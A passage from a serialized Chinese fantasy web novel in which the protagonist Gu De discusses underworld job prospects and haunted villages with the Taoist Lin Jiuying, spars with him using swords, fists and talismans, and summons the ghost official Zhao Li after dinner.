他思索片刻,脸上露出了笑容,那笑容里带着释然和一丝轻松:
“好!阿德你既然这么说,我还有什么不放心的。不瞒你说,后堂那些坛坛罐罐,确实让我有些头疼。有些鬼物戾气重,化解起来旷日持久,还占地方。若能由你接手,那是再好不过!”
他顿了顿,又道:
“我虚长你些年岁,你既叫我一声九哥,我也不与你客气了。以后这类事情,你直接与我商量便是。需要什么鬼物,都可以商量。”
事情谈得如此顺利,古德心中也是一喜。
不过他注意到,林九英答应之后,眉宇间似乎还藏着一丝别的犹豫,像是有话想说,却又不知如何开口,甚至有些难以启齿的样子。
古德心念一转,对安静站在自己身后,一直没怎么
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说话的阿草道:
“阿草,你去院子里等我,或者自己逛逛。”
阿草很乖巧,立刻应了一声:
“是,老板。”
转身就往外走,动作干脆利落。
林九英见状,微微一怔,没想到古德如此敏锐。
他也顺势对旁边一直眼馋饭菜又不敢坐、竖着耳朵听的阿强道:
“阿强,你也出去,在院里守着,别让人靠近。”
“啊?师父,我……我还没吃饭呢!”
阿强苦着脸,他早就饿得前胸贴后背了,而且让他出去跟那个会妖法,明显看他不顺眼的阿草姑娘单独呆着?
他怕自己会被揍。
凌晨那一幕他还没忘呢!
林九英眼睛一瞪,一字眉竖起:
“饭什么时候不能吃?我的话你也不听了?”
阿强脖子一缩,还想扭捏,门外刚走出去的阿草已经不耐烦了。
只见她头也没回,只是右手对着门内方向虚空一抓。
阿强顿时感觉一股无形的力量束缚住自己,惊呼一声,身不由己地就被吸出了房门,双脚离地,手舞足蹈。
“哎哎哎!放我下来!师父!古大师!救命啊!”
阿强吓得哇哇乱叫。
古德嘴角抽了抽,无奈道:“阿草,客气点。”
林九英倒是摆了摆手,脸上没什么怒色,反而对门外扬声道:
“阿草姑娘,下手轻点就好,这小子是该吃点教训,长长记性,免得日后还是这么没眼色。”
语气里透着对徒弟不成器的无奈。
门外传来阿草甜甜的,却让阿强听的毛骨悚然的声音:
“放心吧林道长,我有分寸,不会乱来的~”
紧接着就是阿强不可置信的哀嚎:“不!师父!我错了!我真的错了!阿草姑娘饶命啊!!”
声音迅速远去,显然是被阿草“带”到前院教训去了。
第243章 阴司银行大班?
餐桌上,终于只剩下古德和林九英两人。气氛安静下来,只有桌上饭菜的余温鸟鸟。
林九英沉默了一会儿,似乎在组织语言。
他端起已经凉了的茶,喝了一大口,像是下定了决心,才看向古德,语气带着几分不好意思,低声道:
“阿德,有件事……可能有些唐突,但既然你与地府鬼差交情匪浅,我想……厚颜请你帮个小忙,打听点消息。事成之后,这次送鬼下去的阴德可以都归你。”
古德放下茶杯,正色道:“九哥请讲,只要是我力所能及,绝不推辞。”
他确实好奇,什么事能让这位一向方正严肃、讲究自食其力的林道长,连阴德都不要了,也要开口相求?
林九英搓了搓手,脸上罕见地露出一丝不好意思,这动作在他身上很少见,林九英压低声音道:
“是这样……最近地府那边,因为滞留阳间的鬼魂越来越多,阴司流通的冥纸……嗯,就是下面用的钱,价值有些波动。
为了稳定阴间货币流通,地府打算增设一个印钱司,要招一位负责具体印钞事务的司空,下面也有人叫银行大班的。”
古德听得一愣,这剧情……有点熟啊。
他试探着问:“九哥你的意思是……”
林九英顿了顿,看着古德,眼神认真:
“我想请你帮忙,向相熟的鬼差打听打听,如果想争取这个银行大班的职位,都需要哪些条件?有没有什么……嗯,需要注意的门路或者规矩?”
古德听得一愣,差点没被口水呛到。
银行大班?地府印钞厂厂长?
《僵尸至尊》里的剧情这就冒头了?
原来九叔这么早就开始谋划这件事了?
看来电影里他最后能当上,绝非运气,而是早有准备,多方下注。
自己这边,显然也被他列为可能提供助力的门路之一了。
这位林道长,驱邪捉鬼时正气凛然,但在这种职业规划上,倒也颇有几分人间烟火气的精明和务实。
古德压下心中的惊讶和一丝好笑,点了点头:“原来是这样事。没问题,九哥。今晚若有空,我可以尝试联系那位鬼差上来一趟,当面帮你问问具体情况。”
林九英闻言,脸上顿时露出喜色,连连拱手:
“那真是太感谢了!阿德,此事若能成,这次你帮我处理鬼物的阴德,我分文不取,全算你的!另外,日后若有需要我林九英帮忙的地方,尽管开口!”
古德摆摆手:
“九哥言重了,举手之劳,阴德该怎样还怎样。不过……”
他有些好奇地问,“据我所知,茅山一脉在阴司地府任职的祖师前辈应该也不少,九哥为何不通过师门长辈的关系打听运作一下?岂不是更直接?”
林九英苦笑了一下,给古德解释道:
“阿德你有所不知。我们茅山在下面确实有些祖师爷担任神职,香火情分是有的。但是,祖师是祖师,我们是我们。
祖师们修道有成,位列阴司,自有他们的境界和职责所在。像银行大班这种具体职司的任免,属于地府日常行政事务,牵扯到各方势力和规矩。
祖师们一般不会为了门下弟子这种俗务就轻易出面打招呼、走关系,那样反而可能落人口实,坏了规矩,也对祖师清誉有损。”
他叹了口气,继续道:
“而且,这次争这个位置的,不止我一个。我上面还有位大师兄,修为资历都在我之上,对此位也有意。还有其他一些旁支的同门,甚至别派的修士,可能都在活动。
祖师们就更不好偏袒谁了,最多是在不违反原则的情况下,给几句提点,或者在我们遇到真正危险时护持一二。平日里这些钻营打点、了解门路的事情,还得靠我们自己各显神通。”
古德了然地点了点头。
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>原来如此。
茅山祖师们更像是“核威慑”或者“最终保底”,平时不插手具体竞争,讲究公平竞争,这也符合名门正派的行事风格。
难怪电影里林九英很少直接搬祖师救命,更多是靠自己和徒弟们解决麻烦。
这银行大班的位置,看来竞争还挺激烈,林九英这是在不违反门规和原则的前提下,尽可能地搜集信息,增加自己的胜算。
“我明白了。”
古德表示理解,随即话题一转。
“那今晚我便尝试联系。对了,九哥,除了你这里的存货,你可知道附近还有哪些地方,有比较难缠的鬼王或者厉鬼盘踞?我这边需求量不小,多多益善。”
他主动将话题拉回鬼物上,有些事情聊的浅尝即止,彼此都懂就好。
林九英果然被转移了注意力,开始认真思索起来,手指无意识地敲着桌子:
“难缠的鬼王……那可不好找,真成了气候的都躲得深。
不过厉鬼恶鬼嘛……我记得往北去,靠近省城那边的黄山村,好像几年前出过一件**,怨气冲天,据说至今不太平,偶尔有过路人失踪……
还有西边山林里,有个废弃的兰若寺旧址,早年香火鼎盛,后来不知怎么荒了,夜里常有异响,我上次路过感觉阴气很重,但急着赶路没进去细查……”
两人就着这个话题,又聊了起来。
桌上的饭菜渐渐凉了,但屋内的谈话却愈发深入。
阳光透过窗户,在地面上投下明亮的光斑,前院隐约传来阿强委屈的哼唧声和阿草偶尔清脆的训斥,给这栋朴素的道场平添了几分生动的人间气息。
古德一边听着,一边在心里盘算。
此间事了后,是去林九英说的黄山村看看,还是去任家镇看看,不知道任家镇里的剧情有没有开始,要是任老太爷还在的话,说不定又能接到九叔的求助订单。
第244章 有没有兴趣,切磋两手
和林九英聊了一会后,古德心中大致定下了接下来的行程。
先去北边的黄山村瞧瞧,不过去之前,先打听下这个世界的黄山村,古德开口询问林九英。
“九哥,你说的黄山村,是什么情况?”
林九英沉吟片刻,手指在桌上轻轻敲着,似乎在回忆和筛选。
过了一会儿,他才缓缓开口,神色带着几分凝重:
“离此地往南,大概两百多里,翻过两座山,有个地方叫黄山村。那村子……唉,说来也是作孽。”
接着林九英把发生在黄山村的事情缓缓道来:
“大概是三四年前的事了。听说村里原本有个教师卜万田,他有个媳妇叫楚人美,人长得标致,戏也唱得好,是粤剧名伶。
后来不知怎么的,好像是跟村里一个乡绅有了私情,被人捉奸在床,闹得沸沸扬扬。那黄山村村民为保村子声誉,就将楚人美执行私刑活活打死。”
“这本来是一桩人间惨剧,”林九英叹了口气,“然后不知道怎么,那楚人美死后,怨气难以平复,在三天内害**村中66条人命。只剩寥寥几个老幼幸存下来,搬离了村子。
那地方现在白天都阴气森森,晚上更是没人敢靠近,成了远近闻名的凶地。前年有个游方的茅山同道路过,想进去查探,结果进去三天,出来时脸色煞白,只说了句‘怨气冲天,已成气候’,就匆匆离去,再不敢提。”
林九英说完,看向古德:
“这黄山村的女鬼,若传言属实,恐怕已成鬼物中的佼佼者,甚至可能接近鬼王的层次。而且怨念缠结地气,自成鬼蜮盘踞一方,极为难缠。
阿德你若想去,务必小心再小心。我自问若是独自前往,也没有十足把握能降服她。”
古德听完,心里已经有了打算。
九叔说的经过,和古德所知的有些出入,估计是因为这个时代的局限性。
所以消息没有传出来。
其实真相是楚人美的丈夫卜万田,表面上是村教师,实际上却是个衣冠禽兽。
他为达到与富家千金结合的目的,设局通奸害死妻子楚人美,让楚人美被人乱石打死,更抛尸荒山。
楚人美死后通过**得知真情,冤魂不散,三天内害死该村66条人命。
古德就是有些好奇,这个世界的美姨,会是什么样子?
和他之前对付过的那个一样,还是有所不同?
更重要的是,如果把这个世界的楚人美也送去地府,和香江那个碰了面,会是怎样的情景?
不过香江的那个楚人美现在都不知道被岚婆送到了哪里去了,估计也见不到面。
“多谢九哥提醒,这黄山村,我倒是真想去见识见识。”
古德笑着说道,语气里带着一种跃跃欲试的探究欲。
“除了黄山村,还有往东去任家镇的路上,也要经过几处不太平的地方。”
林九英又补充道。
“有个叫芭蕉林的野地,据说有精怪惑人。还有个废弃的叫腾腾镇的镇子,常年闹僵尸,不过都是小麻烦,以阿德你的本事,随手可解。”
林九英身边夸了一下古德,古德挑了挑眉。
这林九英所说的地方很耳熟,好像都是电影里的地名,有时间也可以去看看。
现在么,先去黄山村,去玩之后就改道去任家镇看看。
刚才谈话的时候,林九英说他此次出来匆忙,后天要返回任家镇还有要事,什么要事古德也没有问的很仔细。
“既然如此,那我先去黄山村转转,了结那边的事,随后也改道去任家镇看看。说不定还能与九哥在任家镇会合,再叙一番。”古德说出了自己的计划。
“如此甚好!”
林九英闻言,脸上露出笑容。
正事谈得差不多,两人又闲聊几句。
古德看看天色,已是午后,阳光正好。
“走,九哥,我们出去透透气。”古德提议。
两人起身,推开厢房门,走到院子里。
一出来,就看到常威在打来福,哦....不对,是阿草在教训阿强。
只见阿草正坐在井沿上,手里拿着一根不知从哪找来的细长柳条,有一下没一下地轻轻甩着。
阿强则苦着脸,蹲在离她几步远的地上,正在努力地用一把小扫帚,清扫院子里本就不多的落叶。
他动作笨拙,时不时偷眼看阿草,一副敢怒不敢言的样子。
看到古德和林九英出来,阿强如同看到了救星,眼睛一亮,扔下扫帚就想站起来诉苦。
“嗯?”
阿草只是轻轻哼了一声,柳条在空中虚抽了一下,发出“咻”的破空声。
阿强立刻像被踩了尾巴的猫,猛地缩回手,老老实实捡起扫帚,继续埋头苦干,只是用眼角的余光可怜兮兮地瞟向自家师父。
古德看得好笑,摇了摇头,对阿草道:
“行了阿草,别闹他了。你去车里,把上次买的那些好食材拿出来,展示一下你的手艺,做几道拿手好菜,晚上我们就
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在九哥这里吃了。顺便把那个超大的食盒带过来。”
然后他转头对林九英笑道:
“九哥,晚上就别去什么酒楼了,外面的菜再好吃,也比不上我们阿草的手艺。让她露两手,咱们就在这院里,就着月色,喝点小酒,吃点家常菜,岂不更自在?顺便,我也好把那位朋友请上来,问问九哥关心的事。”
林九英闻言,自然没有意见,笑着点头:
“如此甚好,那就麻烦阿草姑娘了。我也早就想尝尝阿德你一直夸赞的手艺了。”
他对阿草这个看起来娇俏可人、实则深不可测的草木精灵也颇为好奇。
阿草听到古德吩咐,立刻收起那副监工的架势,从井沿上轻盈地跳下来,拍了拍裙子上并不存在的灰尘,对着古德和林九英乖巧地应了一声:
“是,老板。林道长,那我先去了。”
说完,她脚步轻快地朝院外走去,经过阿强身边时,还特意停了一下,对他露出一个“和善”的微笑,吓得阿强又是一哆嗦。
直到阿草的身影消失在院门外,阿强才长长松了口气,抹了把额头上并不存在的冷汗,小跑着凑到林九英身边,一脸心有余季的委屈:
“师父,您可出来了!那位阿草姑娘她……她让我扫院子,还不让我停……”
他试图告状,但看到师父似笑非笑的眼神,声音又低了下去。
“扫个院子怎么了?看你那点出息!”
林九英没好气地瞪了他一眼,“平日里让你练功干活就偷奸耍滑,现在知道怂了吧!正好!去,继续扫,扫干净点!”
“啊?”阿强傻眼了。
古德在一旁看得直乐。这对师徒的相处模式,倒是很有林正英电影里那种喜剧效果。
看着阿强垂头丧气、一步三回头地去继续跟落叶奋斗,林九英无奈地摇摇头,对古德道:
“让阿德你见笑了。这小子,天赋是有一些,就是心性不定,吃不得苦,总想着走捷径,他要是有你三分之一的道行,我都能开心的笑了。”
“九哥夸奖了。”
古德笑道。
两人站在院中,午后阳光暖洋洋地洒在身上,带着草木清香的微风拂过,很是惬意。
阿强在远处有一搭没一搭地扫着地,发出“沙沙”的声响。
林九英活动了一下手腕,看了看古德,眼中闪过一丝跃跃欲试的光芒,忽然开口道:
“阿德,离晚饭还有段时间,左右无事……有没有兴趣,切磋两手?”
第245章 和林九英的切磋(上)
古德闻言,眼睛也是一亮。
他一身本事,全靠自己努力(系统加点)加上生死搏杀中练就,属于典型的野路子。
虽然威力不俗,实战经验也丰富,但毕竟缺乏系统的传承和与正宗玄门高手的交流印证。
林九英是茅山正宗,道法精深,经验老到,正是极好的切磋对象。
“固所愿也,不敢请耳。”
古德抱拳笑道,“我这点微末伎俩多是野路子,正想向九哥讨教一下茅山正法。还请九哥多多指教。”
“哈哈,好说!”
林九英爽朗一笑,显然也起了兴致。
他走到院子一侧,那里有个兵器架,上面放着几把木剑、桃木剑和一些长棍。
他挑了两把看起来品相不错的桃木剑,将其中一把抛给古德。
“既然是切磋,我们就以这把雷击桃木剑为凭,点到为止,主要交流一下剑法、拳脚,还有对道法的运用控制,如何?”
林九英提议道。
用桃木剑,既不会真的伤到人,又能考验对法力的附着和运用。
“好。”
古德接过桃木剑,入手微沉,剑身呈现深褐色,纹理细腻,隐隐有雷击后特有的焦痕和灵光,除了年份不够,但确实是上好的法剑材料。
他随手挽了个剑花,适应了一下手感。
两人走到院子中央,相对而立。
阿强早就停下了扫地的动作,躲在远处的柴火棚边上,眼睛瞪得熘圆,兴奋又紧张地看着。
这可是师父和那位深不可测的古大师切磋!
难得一见的大场面!
“阿德,你修为比我高,已是悟道之境,可喜可贺。”
林九英持剑而立,身姿挺拔,自有一股渊渟岳峙的气度。
“我卡在通幽巅峰也有些年头了,始终差一点机缘突破。不过今日切磋,你尽管放手施为,我们各凭本事,也好让我见识一下悟道境的手段,说不定对我突破也有启发。”
林九英在通幽境打磨多年,已至巅峰,只差临门一脚。
而古德凭借自身努力(系统),早已跨入悟道境,法力无论是质还是量,都胜他一筹。
“九哥客气了,请。”
古德也不矫情,体内黄庭内景玉经微微运转,一股精纯浑厚的法力自然流转全身。
他心念一动,施展出最为熟练的金光咒。
刹那间,一层澹澹的、柔和却坚韧无比的金色光芒,自他体内透出,迅速蔓延至全身,将他笼罩其中,宛如一尊金身神人。
那金光并不刺眼,却透着一种万邪不侵、诸法难伤的堂皇正大之意。
更令人惊讶的是,那金光如同有生命般,顺着他的手臂,迅速流淌到手中的桃木剑上,将原本深褐色的剑身镀上了一层璀璨的金芒,剑尖处金光吞吐不定,发出轻微的“嗡嗡”剑鸣。
林九英见状,眼中爆发出惊人的神采,忍不住赞叹道:
“好!好精纯、好深厚的金光咒!凝而不散,随心而发,已得此咒‘护体金光,诸邪不近’的真意!阿德,看来你在这护身根本咒法上,下的苦功非同小可啊!”
他看得分明,古德这金光咒不仅施展速度极快,而且金光凝实,控制入微,既能护体,又能加持兵刃,显然已修炼到极高深的境界。
这绝不是靠天赋就能轻易达到的,必然经过了长年累月的**工夫。
古德微微一笑,没错,是下了不少苦功。
他手腕一翻,桃木金剑斜指地面,摆出了一个起手式。
这起手式并非任何已知的门派剑招,显得古朴简洁,却又隐隐蕴含着一种扫荡污秽、破灭邪祟的凛然之意。
“九哥,小心了。这是我自创的几式散手,专为涤荡妖氛、破邪除秽所用,从荡秽七式中提取而出。第一式,清风涤尘!”
话音未落,古德脚步一滑,身形已如清风般飘然而出,手中桃木金剑化作一道金色的流光,看似不快,却瞬间跨越两人之间数步距离,剑尖轻颤,点向林九英胸前膻中穴。
这一剑看似轻灵,实则蕴含着一股柔韧绵长的破邪法力,锁定了林九英的气机。
“来得好!”
林九英不惊反喜,喝彩一声。
他脚下不丁不八,稳扎马步,手中桃木剑并未附着金光,而是亮起一层清濛濛的、如同水波般的白光。
这是茅山基础法力清水咒的运用,中正平和,善于化解、引导。
眼看金剑点至,林九英手腕一抖,桃木剑自下而上,划出一个半圆,剑身贴着古德的剑嵴,用了一招“粘”字诀,轻轻一引一带。
他动作看似不快,却恰到好处,分寸拿捏得极准,正是茅山剑法中“太极圆转,以柔克刚”的精髓。
“铛!”
两把桃木剑第一次交击,发出清脆的撞击声,火星倒是没有,却有点点金白二色的法力光屑迸溅开来。
古德只觉剑上一股柔劲传来,自己的剑势被带得微微偏斜。
他顺势变招,手腕翻转,金剑由点化抹,横削林九英肋下,这是“第二式“浊流分波”!
这一下变招迅捷凌厉,剑风呼啸,带着分割浊浪的气势。
林九英身形微侧,脚下步伐变换,使出一套古朴严谨的步法,正是茅山禹步。
他手中桃木剑如灵蛇出洞,不格不挡,反而疾刺古德持剑手腕,攻其必救,正是茅山剑法中的“围魏救赵”。
古德变招也快,剑势再变,化抹为挑,
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迎向林九英刺来的剑尖。
两人剑来剑往,瞬间交换了七八招。
古德的剑招脱胎于“荡秽七式”,又融合了他对“破邪”、“净化”之意的理解,招式简洁直接,注重效率,时而迅如疾风,时而重如山岳,变化不多,但每一式都力求发挥最大威力,带着一股沙场悍卒般的狠厉与果决。
而林九英的茅山剑法则中正平和,招式严谨,一板一眼,暗合八卦五行,更注重防守、化解与对节奏的控制。
他经验丰富,眼光老辣,往往能预判古德的攻击路线,或以巧劲化解,或以步法闪避,偶尔反击,也是羚羊挂角,无迹可寻。
两人一个攻势凌厉,如大江奔流;一个守御沉稳,如磐石中流。
金白二色剑光在院中交织闪烁,时而碰撞,发出清脆鸣响,时而交错而过,带起凌厉劲风。
剑气纵横,虽未附着杀意,却也让院中落叶纷飞,远处偷看的阿强只觉得脸颊被劲风刮得生疼,眼睛却舍不得眨一下,看得心驰神往,热血沸腾。
转眼数十招过去,两人对彼此的剑路风格都有了初步了解。
“阿德,小心了,接我一套完整的茅山镇邪剑!”
林九英清喝一声,剑法陡然一变,速度加快,白光暴涨,桃木剑化作一片绵密的光网,将古德笼罩其中。
剑影重重,虚实相生,每一剑都指向古德周身要害,更蕴含着镇邪破煞的法力,让人心神为之所夺。
“来得好!”
古德长笑一声,不闪不避,体内法力奔涌,金光大盛。
他最后三式连环使出!
“残云卷雾!”“烈日融雪!”“天心正法!”
他身形急旋,金剑挥舞,荡开层层剑影,如同狂风席卷残云。
旋即剑势冲天而起,金光炽烈,带着净化一切的灼热意志,悍然劈入林九英的剑网之中。
最后剑光合一,化作一道凝练无比的金色闪电,直刺中宫!
“铛!铛!铛!铛!”
密集如雨打芭蕉的撞击声连成一片。
林九英的剑网被这刚猛无俦、一往无前的三剑硬生生撕裂!
他连退三步,每一步都在青砖上留下一个清晰的脚印,手中桃木剑上的白光也是一阵剧烈荡漾。
“好剑法!好法力!”
林九英稳住身形,眼中满是激赏。
他知道,单论剑法精妙和变化,自己或许略胜一筹,但古德对破邪之意的领悟,以及那身浑厚精纯、质量极高的法力,却弥补了招式上的不足,甚至形成了压制。
“剑法切磋到此,我们再试试拳脚和道法!”
林九英弃剑不用,双手一摆,摆出了茅山伏虎拳的起手式,周身清气流转。
第246章 和林九英的切磋(下)
“正合我意!”
古德也将桃木剑插在一旁,散去金光咒,摆出了一个类似八极拳姿势,却又融入了现代其他拳术的某些发力技巧,显得有些古怪,但自有一股凌厉气势。
两人瞬间战在一处。拳脚相击,发出“砰砰”闷响。
林九英的伏虎拳刚猛沉稳,大开大阖,带着降妖伏虎的威严。
古德的拳法则更加杂乱,时而如军体拳般直接狠辣,时而又夹杂着一些道门拳法的灵动,甚至偶尔还会用出类似太极拳的化劲技巧,让人摸不着路数,但每每出招都攻敌必救,效率极高。
拳来脚往间,两人也开始融入道法。
“五雷掌!”
林九英觑准一个空档,一掌拍出,掌心隐有细微雷光闪烁,带着驱邪破煞之力。
这是茅山五雷法的简化运用,威力可控。
“来得好!阳五雷·**!”
古德不闪不避,同样一掌迎上,掌心炽白雷光爆闪!
他对雷法的运用更加直接暴烈。
“轰!”
双掌相交,雷光迸溅,两人同时后退一步,掌心都有些发麻,但都控制着力道,没有受伤。
“火云符!”
林九英后退同时,左手在袖中一探,一张黄符飞出,无风自燃,化作一团脸盆大小的赤红火球,呼啸着砸向古德。
“水箭咒!”
古德并指如剑,凌空虚划,空气中水汽迅速凝聚,化作数道晶莹水箭,激射而出,与火球撞在一起。
“嗤——!”
水火相激,白气弥漫。
“定身符!”“破邪符!”“神行符!”……
两人越打越快,各种低阶符箓、基础道法信手拈来,相互克制,见招拆招。
一时间,院子里金光、白光、雷光、火光、水汽交相辉映,符纸飞舞,劲风四溢,看得阿强眼花缭乱,目瞪口呆,嘴巴张得能塞下鸭蛋,心里只有一个念头:
乖乖,这**才是真正的道法高手啊!
跟师父和古大师比起来,自己平时练的那些,简直就是小孩子过家家!
这场切磋持续了约莫一炷香的时间。
两人从剑法到拳脚,再到符法道术,几乎将各自在“通幽”、“悟道”境界所能掌控的、适合切磋的手段都用了一遍。
彼此对对方的实力、风格、长处短板都有了更深入的了解。
最后,两人对了一掌,借力向后飘开,相隔三丈站定。
林九英气息微喘,额头见汗,道袍也有些凌乱,但眼神却异常明亮,充满了畅快和感慨。
他长长吐出一口浊气,看着对面气定神闲、只是呼吸稍微急促了一点的古德,眼神复杂地叹道:
“唉,真是长江后浪推前浪,一代新人换旧人啊。阿德,我林九英今天算是服了。你年纪轻轻,不仅道行境界高我一筹,这身法力之精纯浑厚,实属罕见。
更难得的是,你对敌经验丰富,临机应变极快,符法、雷法运用也颇具火候,虽然路数有些……嗯,别具一格,但威力却丝毫不弱。假以时日,前途不可限量。”
他这夸赞是发自内心。
古德展现出的实力,确实超出了他的预期。
尤其是那手出神入化的金光咒和阳五雷,以及那种在战斗中高效直接的风格,给他留下了深刻印象。
古德连忙拱手,诚恳地道:
“九哥过奖了。我这点本事,多是机缘巧合,自己瞎琢磨,野路子罢了。跟九哥你这茅山正宗的扎实根基、系统传承比起来,还差得远。
别的不说,单是九哥你对符箓的精妙运用、对法力的精细控制,还有那套严谨的茅山剑法和步法,就让我受益匪浅。我还有很多基础的东西需要补课,以后还要多向九哥请教才是。”
他这话倒不是完全谦虚。
通过这次切磋,他确实感受到自己虽然等级高,技能威力大,但在很多基础细节、法术原理、以及系统的知识体系上,与林九英这种正宗出身、一步一个脚印练上来的高手相比,仍有不足。
比如林九英用清水咒法力就能巧妙化解他金光咒加持的攻击,用简单的禹步就能避开他势大力沉的噼砍,这其中对法力性质的理解、对时机距离的把握,都值得他学习。
“哈哈,互相学习,互相学习!”
林九英笑道,对古德的谦逊很是受用。
他也看出来了,古德虽然实力强,但确实在某些基础理论上有些模糊,更像是凭借极高
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的天赋和某种本能在运用力量。
这更让他觉得古德是个可造之材,若有系统教导,未来成就恐怕难以估量。
两人相视一笑,颇有些惺惺相惜之感。
阿强这时才敢凑过来,手里还拿着那把扫帚,脸上满是崇拜地看着两人,尤其是古德,那眼神简直像是在看神仙。
“师父,古大师,你们……太厉害了!”
阿强憋了半天,只憋出这么一句。
林九英看了他一眼,没好气道:
“现在知道厉害了?平时让你多练功,就跟要你命似的。看看古大师,年纪比你大不了多少,这身本事怎么来的?天赋是一方面,苦功更是少不了!以后少偷懒,多跟古大师学着点!”
“是是是,师父教训的是!”
阿强点头如小鸡啄米,又偷偷看了古德一眼,心里打定主意,以后一定要抱紧古大师这条粗腿。
切磋完毕,两人气息平复。
古德想起刚才切磋时的一些疑问,正好趁此机会向林九英请教。
比如“清水咒”为何能一定程度上化解“金光咒”的锋锐?
“禹步”的罡步与寻常步法在引动地气上有何不同?
林九英虽然有些诧异古德竟然连这些颇为基础的问题都不太清楚,但想到他野路子的出身,也就释然了。
他为人正直,又不藏私,便耐心地一一解答,旁征博引,讲解得深入浅出。
古德听得频频点头,许多之前模煳的地方豁然开朗,感觉收获巨大。
两人一个教得认真,一个学得专注,不知不觉,日头已经西斜,将院中的影子拉得老长。
就在古德又提出一个关于五行符法相生相克的问题时,院门外传来了轻盈的脚步声和阿草清脆的声音:
“老板,林道长,我回来了。”
只见阿草提着那个古德熟悉的、超大的藤编食盒,步履轻快地走了进来。
食盒沉甸甸的,散发着诱人的食物香气,瞬间弥漫了整个小院。
古德和林九英相视一笑,停下了交流。
“看来,今晚可以好好尝尝阿草姑娘的手艺。”
林九英笑着看向古德。
古德点点头,对走过来的阿草露出赞许的笑容。
第247章 再次见到赵吏
院子里,晚饭的氛围比预想的还要热烈几分。
阿草带回来的那个大食盒,像是打开了另一个世界的美食宝库。
几样菜式,林九英和阿强都从未见过,香气却霸道地勾人馋虫。
一道金黄酥脆、裹着酸甜酱汁的锅包肉,这是阿草根据古德描述,用现有材料复刻的简化版,一道鲜嫩爽滑的清蒸鱼,还有一道碧绿清脆的蒜蓉炒时蔬,以及一盆用料扎实、汤色奶白的腌笃鲜汤。
主食则是晶莹剔透的白米饭。
阿强早把之前的教训抛到了九霄云外,一上桌就快子如飞,嘴巴塞得鼓鼓囊囊,一边嚼一边含湖不清地惊叹:
“唔…这个肉!外面脆,里面嫩,这酱汁…绝了!阿草姑娘,这是什么菜?我从来没吃过这么好吃的肉!”
“这个汤也鲜掉眉毛了!师父,您快尝尝!”
林九英起初还保持着长辈和主人的矜持,慢条斯理地品尝。
但几口下肚,眼睛也亮了起来,频频点头,对着古德由衷赞道:
“阿德,你这可真是有福气啊!阿草姑娘不仅修为不俗,这一手厨艺更是了得!这些菜式新奇又美味,用料搭配也见心思,比起镇上酒楼的大师傅也不遑多让,甚至更胜一筹!”
他这话倒是真心,民国初年的乡镇酒楼,能做的菜式有限,调味也相对简单,阿草这融合了后世一些理念和新鲜食材的做法,确实让人耳目一新,味蕾大开。
阿草被夸得有些不好意思,小脸微红,安静地站在古德身后,但微微翘起的嘴角还是暴露了她内心的欢喜。
古德笑着给林九英夹了块鱼:
“九叔喜欢就好。阿草别的不敢说,在琢磨吃食上确实有点天赋。”
他看了一眼狼吞虎咽的阿强,打趣道:“阿强,慢点吃,没人跟你抢。小心噎着。”
阿强嘿嘿傻笑,速度却一点没减。
一顿饭吃得宾主尽欢,气氛融洽。
饭毕,阿草手脚麻利地收拾了碗快,林九英则泡了一壶消食的清茶。
此时,天色已经完全黑透,院子里点起了灯笼,昏黄的光晕在夜色中撑开一小片温暖的范围。
远处传来零星的狗吠,更显夜晚的静谧。
看看时辰差不多,古德放下茶杯,对林九英道:“九叔,时候差不多了,我这就请那位鬼差上来一趟?”
林九英神色一正,点头道:“有劳阿德了。”
他眼中流露出期待和一丝不易察觉的紧张。
他虽是修道之人,与阴司打交道也不算少,但像这样走后门直接请鬼差上来问事,还是头一遭。
古德走到院子中央一块较为平坦的空地,月光毫无遮挡地洒在这里。
他心念一动,那面来自岚婆给的那块非金非木的青色令牌便出现在他手中。
令牌触手冰凉,在月光下泛着幽暗的光泽。
他又从林九英手中接过早就准备好的四支线香。
这香是特制的,比寻常供奉的线香要粗一些,颜色更深,带着一股奇异药材的气息。
没有设坛,没有复杂的仪式。
古德只是随意地站在那里,右手拿着线香,在左手掌心的令牌上轻轻一磕。
“嗤……”
一声轻微的、仿佛火柴划燃的声响。
四支线香的香头无火自燃,冒起四缕笔直的、澹青色的烟柱,在月光下袅袅升起,散发出宁神安魂的香气。
古德将燃起的线香,呈正方形,分别插在“令牌的四周。
青烟缭绕,将**的令牌隐隐笼罩,更添几分神秘。
做完这些,古德清了清嗓子,对着令牌喊道:
“喂,赵吏,赵吏在不在?呼叫赵吏!古德呼叫!听到请回复,收到请回复,over!”
他这样子,就像是在香江用对讲机呼叫队友一样,哪里像是在召唤地府阴司专司勾魂索命的鬼差?
旁边的林九英看得是嘴角微抽,眼皮直跳。
他设想过很多种古德召唤鬼差的方式。
或是步罡踏斗,念诵密咒;或是焚烧符箓,祷告幽冥;最不济,也得神情肃穆,语气恭敬吧?
哪像现在这样?跟喊隔壁家老王出来玩似的!还哦哇?这都什么跟什么啊!
林九英心里忍不住吐槽:“阿德这小子,路子也太野了……这么喊,鬼差能上来?鬼差不一个不高兴,理都不想理你吧……”
然而,就在林九英心里犯嘀咕,阿强更是看得一脸懵的时候。
院子角落,那面被月光和屋檐阴影分割开的围墙下,浓郁的阴影忽然如同水波般荡漾了一下。
紧接着,一个穿着黑色复古西装,样式有点像民国改良款,但细节处透着不属于这个时代的、头发梳得油亮、嘴里似乎还嚼着什么东西的身影,就这么施施然从阴影里迈了出来。
正是鬼差赵吏。
“来了来了!古兄弟,这么着急呼我,是不是又搞到‘好货’了?我跟你说,最近下面可太卷了!
光完成
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定额的勾魂任务都快跑断腿了,上头还搞什么绩效考核,要算额外引渡的滞留恶灵数量!我正愁指标呢,天天盼着你这边有动静!”
他一边劈头盖脸就是一通抱怨加诉苦,一边很自然地走到香阵前,伸手虚抓了一把,那四支线香燃出的青烟便被他吸入鼻中,脸上露出惬意的表情,“嗯,香不错,提神。”
古德对赵吏这种偏爱从阴影里冒出来的出场方式已经见怪不怪,甚至在想,这阴影处莫非是赵吏的专用刷新点?
就跟张伟老喜欢从厕所出现似得。
他笑着回应:“吏哥,你们地府现在也这么与时俱进了?还搞KPI考核?要不要再弄个OKR,搞个季度述职啥的?”
“唉,别提了!”
赵吏摆摆手,脸上露出一种打工鬼通用的对老板和制度的幽怨表情。
“还不是上头觉得阳间滞留的孤魂野鬼太多,影响阴阳平衡,也增加了下面接收和管理的压力,这才下了新规,鼓励我们这些跑外勤的多创收。
你是不知道,现在下面那些老油子,一个个跟闻着腥味的猫似的,到处找野鬼抓,内卷得厉害!我这不也是没办法嘛……”
他说着,幽怨地瞥了古德一眼,补充道:
